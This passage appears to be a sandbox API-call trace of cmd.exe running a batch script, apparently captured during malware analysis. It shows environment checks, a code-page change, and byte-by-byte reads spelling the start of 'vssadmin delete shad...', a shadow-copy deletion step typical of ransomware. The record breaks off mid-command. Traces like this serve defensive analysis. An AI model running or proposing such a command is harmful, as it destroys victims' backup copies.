	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0159.265] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0159.266] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0159.266] GetProcessHeap () returned 0x1ff0cc10000
	[0159.266] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc16510) returned 1
	[0159.266] GetProcessHeap () returned 0x1ff0cc10000
	[0159.266] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0x12) returned 0x1ff0cc16510
	[0159.266] _get_osfhandle (_FileHandle=1) returned 0x254
	[0159.266] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0159.266] _get_osfhandle (_FileHandle=0) returned 0x248
	[0159.266] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0159.266] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x32a16ff230*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32a16ff208 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0x32a16ff208*(hProcess=0x9c, hThread=0x98, dwProcessId=0xe64, dwThreadId=0xe68)) returned 1
	[0159.280] CloseHandle (hObject=0x98) returned 1
	[0159.280] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0159.280] GetProcessHeap () returned 0x1ff0cc10000
	[0159.280] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc16570) returned 1
	[0159.280] GetEnvironmentStringsW () returned 0x1ff0cc16530*
	[0159.280] GetProcessHeap () returned 0x1ff0cc10000
	[0159.280] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xafe) returned 0x1ff0cc29460
	[0159.280] FreeEnvironmentStringsA (penv="=") returned 1
	[0159.280] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffd4d880000
	[0159.280] GetProcAddress (hModule=0x7ffd4d880000, lpProcName="NtQueryInformationProcess") returned 0x7ffd4d9256b0
	[0159.281] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x32a16fe708, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x32a16fe708, ReturnLength=0x0) returned 0x0
	[0159.281] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xc01947a000, lpBuffer=0x32a16fe740, nSize=0x7a0, lpNumberOfBytesRead=0x32a16fe700 | out: lpBuffer=0x32a16fe740*, lpNumberOfBytesRead=0x32a16fe700*=0x7a0) returned 1
	[0159.282] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0
	[0164.848] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x32a16ff188 | out: lpExitCode=0x32a16ff188*=0x0) returned 1
	[0164.848] CloseHandle (hObject=0x9c) returned 1
	[0164.848] _vsnwprintf (in: _Buffer=0x32a16ff358, _BufferCount=0x13, _Format="%08X", _ArgList=0x32a16ff198 | out: _Buffer="00000000") returned 8
	[0164.849] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0164.849] GetProcessHeap () returned 0x1ff0cc10000
	[0164.849] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc29460) returned 1
	[0164.849] GetEnvironmentStringsW () returned 0x1ff0cc29460*
	[0164.850] GetProcessHeap () returned 0x1ff0cc10000
	[0164.850] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb24) returned 0x1ff0cc29f90
	[0164.850] FreeEnvironmentStringsA (penv="=") returned 1
	[0164.850] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0164.850] GetProcessHeap () returned 0x1ff0cc10000
	[0164.850] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc29f90) returned 1
	[0164.850] GetEnvironmentStringsW () returned 0x1ff0cc29460*
	[0164.850] GetProcessHeap () returned 0x1ff0cc10000
	[0164.850] RtlAllocateHeap (HeapHandle=0x1ff0cc10000, Flags=0x8, Size=0xb24) returned 0x1ff0cc29f90
	[0164.850] FreeEnvironmentStringsA (penv="=") returned 1
	[0164.850] GetProcessHeap () returned 0x1ff0cc10000
	[0164.850] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc16510) returned 1
	[0164.850] DeleteProcThreadAttributeList (in: lpAttributeList=0x32a16ff310 | out: lpAttributeList=0x32a16ff310) 
	[0164.850] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0164.934] ??_V@YAXPEAX@Z () returned 0x1
	[0164.934] _get_osfhandle (_FileHandle=1) returned 0x254
	[0164.934] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0164.934] _get_osfhandle (_FileHandle=1) returned 0x254
	[0164.934] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff65b83fc08 | out: lpMode=0x7ff65b83fc08) returned 0
	[0164.934] _get_osfhandle (_FileHandle=0) returned 0x248
	[0164.934] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff65b83fc0c | out: lpMode=0x7ff65b83fc0c) returned 0
	[0164.934] GetConsoleOutputCP () returned 0x4e3
	[0164.978] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff65b83fbb0 | out: lpCPInfo=0x7ff65b83fbb0) returned 1
	[0164.978] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0165.161] GetProcessHeap () returned 0x1ff0cc10000
	[0165.161] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc17980) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc28ee0) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc177c0) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc28e80) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc16490) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc18e90) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc17610) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc175e0) returned 1
	[0165.162] GetProcessHeap () returned 0x1ff0cc10000
	[0165.162] RtlFreeHeap (HeapHandle=0x1ff0cc10000, Flags=0x0, BaseAddress=0x1ff0cc17340) returned 1
	[0165.162] _vsnwprintf (in: _Buffer=0x7ff65b847f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32a16ff738 | out: _Buffer="\r\n") returned 2
	[0165.162] _get_osfhandle (_FileHandle=1) returned 0x254
	[0165.162] GetFileType (hFile=0x254) returned 0x3
	[0165.162] _get_osfhandle (_FileHandle=1) returned 0x254
	[0165.162] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0165.162] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x32a16ff708, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ff708*=0x2, lpOverlapped=0x0) returned 1
	[0165.162] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65b83bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0165.162] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ff0cd10080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0165.162] _vsnwprintf (in: _Buffer=0x1ff0cd20060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x32a16ff748 | out: _Buffer="C:\\WINDOWS\\system32") returned 19
	[0165.163] _vsnwprintf (in: _Buffer=0x1ff0cd20086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x32a16ff748 | out: _Buffer=">") returned 1
	[0165.163] _get_osfhandle (_FileHandle=1) returned 0x254
	[0165.163] GetFileType (hFile=0x254) returned 0x3
	[0165.163] _get_osfhandle (_FileHandle=1) returned 0x254
	[0165.163] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21
	[0165.163] WriteFile (in: hFile=0x254, lpBuffer=0x7ff65b839970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x32a16ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesWritten=0x32a16ff738*=0x14, lpOverlapped=0x0) returned 1
	[0165.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.163] GetFileType (hFile=0x248) returned 0x3
	[0165.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0165.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0165.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.163] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0165.163] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.163] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.163] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0165.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0165.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0165.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0165.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0165.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0165.164] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.164] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.164] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0165.165] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.165] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.165] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0165.165] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.165] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.165] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0165.165] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.165] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.165] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0165.165] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.165] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.165] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0165.165] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.165] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.165] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0165.165] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.165] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.165] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0165.166] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.166] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.166] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0165.166] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.166] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.166] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0165.166] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.166] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.166] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0165.166] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.166] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.166] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
	[0165.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff65b839970, cbMultiByte=1, lpWideCharStr=0x7ff65b843c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0165.166] _get_osfhandle (_FileHandle=0) returned 0x248
	[0165.166] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0165.166] ReadFile (in: hFile=0x248, lpBuffer=0x7ff65b839970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32a16ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff65b839970*, lpNumberOfBytesRead=0x32a16ffa98*=0x1, lpOverlapped=0x0) returned 1
